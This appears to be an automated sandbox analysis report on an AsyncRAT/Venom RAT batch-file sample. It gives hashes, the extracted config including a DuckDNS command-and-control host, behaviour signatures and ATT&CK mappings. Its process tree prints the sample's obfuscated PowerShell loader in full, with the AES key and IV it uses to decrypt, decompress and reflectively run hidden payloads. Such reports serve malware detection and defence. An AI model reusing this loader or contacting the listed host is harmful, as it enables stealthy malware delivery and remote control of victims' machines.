asyncrat | c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c

General

Target

sample.cmd
Size

111KB
MD5

934330a37a7b1380047366d135ff1423
SHA1

1cadd58c7e7475277d23b924b3dac8aad567bf44
SHA256

c2ab16802765ebcfe21f21aabd351c846bbea9140835c23579f9d0e26f9bdf2c
SHA512

844b523cb12393b97a9807fd4b5bd9b811a7482a4d9865a0b3c7ccdce889222671f86bd87cc8a0ec25abefe62d8e33a871434114847fea58bf8bc73bc411362a
SSDEEP

3072:/HPsUJ1lTMxqWITymQ57Leimw/gU0x1DzfsxciNpU3:XTWITymEeiWUxFy

Score

10^/10

asyncrat venom clients execution rat

Malware Config

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

C2

xvern429.duckdns.org:8890

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/3460-19-0x0000022EA54C0000-0x0000022EA54D6000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

19 3460 powershell.exe
22 3460 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3460 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3460 powershell.exe
3460 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3460 powershell.exe

flow	pid	process
19	3460	powershell.exe
22	3460	powershell.exe

pid	process
3460	powershell.exe

pid	process
3460	powershell.exe
3460	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3460	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2392 wrote to memory of 3712	2392	cmd.exe	cmd.exe
PID 2392 wrote to memory of 3712	2392	cmd.exe	cmd.exe
PID 2392 wrote to memory of 2556	2392	cmd.exe	cmd.exe
PID 2392 wrote to memory of 2556	2392	cmd.exe	cmd.exe
PID 2392 wrote to memory of 3460	2392	cmd.exe	powershell.exe
PID 2392 wrote to memory of 3460	2392	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sample.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2392

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:3712

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lqGtFYajP4dvsKIWnOQi409E1v8ult6DFNGJrf47kZE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x2DBEVvQmBOCho9gd+n1bw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $oKEyn=New-Object System.IO.MemoryStream(,$param_var); $ZXvXs=New-Object System.IO.MemoryStream; $rdMmY=New-Object System.IO.Compression.GZipStream($oKEyn, [IO.Compression.CompressionMode]::Decompress); $rdMmY.CopyTo($ZXvXs); $rdMmY.Dispose(); $oKEyn.Dispose(); $ZXvXs.Dispose(); $ZXvXs.ToArray();}function execute_function($param_var,$param2_var){ $pUJev=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oJbpm=$pUJev.EntryPoint; $oJbpm.Invoke($null, $param2_var);}$XSGCc = 'C:\Users\Admin\AppData\Local\Temp\sample.cmd';$host.UI.RawUI.WindowTitle = $XSGCc;$WmqwT=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XSGCc).Split([Environment]::NewLine);foreach ($VEuit in $WmqwT) { if ($VEuit.StartsWith('kJooVBlfXESpuyhzrHrv')) { $iEGsi=$VEuit.Substring(20); break; }}$payloads_var=[string[]]$iEGsi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:2556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3460

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_renjq0ls.gr5.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3460-17-0x00007FFF19070000-0x00007FFF1912E000-memory.dmp

Filesize
760KB

Download
memory/3460-1-0x0000022E8D0A0000-0x0000022E8D0C2000-memory.dmp

Filesize
136KB

Download
memory/3460-18-0x0000022E8D130000-0x0000022E8D146000-memory.dmp

Filesize
88KB

Download
memory/3460-19-0x0000022EA54C0000-0x0000022EA54D6000-memory.dmp

Filesize
88KB

Download
memory/3460-13-0x0000022EA5510000-0x0000022EA5554000-memory.dmp

Filesize
272KB

Download
memory/3460-14-0x0000022EA5990000-0x0000022EA5A06000-memory.dmp

Filesize
472KB

Download
memory/3460-15-0x0000022E8D0D0000-0x0000022E8D0E0000-memory.dmp

Filesize
64KB

Download
memory/3460-0-0x00007FFEFB133000-0x00007FFEFB135000-memory.dmp

Filesize
8KB

Download
memory/3460-29-0x00007FFEFB130000-0x00007FFEFBBF1000-memory.dmp

Filesize
10.8MB

Download
memory/3460-11-0x00007FFEFB130000-0x00007FFEFBBF1000-memory.dmp

Filesize
10.8MB

Download
memory/3460-12-0x00007FFEFB130000-0x00007FFEFBBF1000-memory.dmp

Filesize
10.8MB

Download
memory/3460-20-0x00007FFEFB130000-0x00007FFEFBBF1000-memory.dmp

Filesize
10.8MB

Download
memory/3460-23-0x00007FFEFB130000-0x00007FFEFBBF1000-memory.dmp

Filesize
10.8MB

Download
memory/3460-25-0x00007FFEFB133000-0x00007FFEFB135000-memory.dmp

Filesize
8KB

Download
memory/3460-26-0x00007FFEFB130000-0x00007FFEFBBF1000-memory.dmp

Filesize
10.8MB

Download
memory/3460-27-0x00007FFEFB130000-0x00007FFEFBBF1000-memory.dmp

Filesize
10.8MB

Download
memory/3460-28-0x00007FFEFB130000-0x00007FFEFBBF1000-memory.dmp

Filesize
10.8MB

Download
memory/3460-16-0x00007FFF192F0000-0x00007FFF194E5000-memory.dmp

Filesize
2.0MB

Download

Analysis

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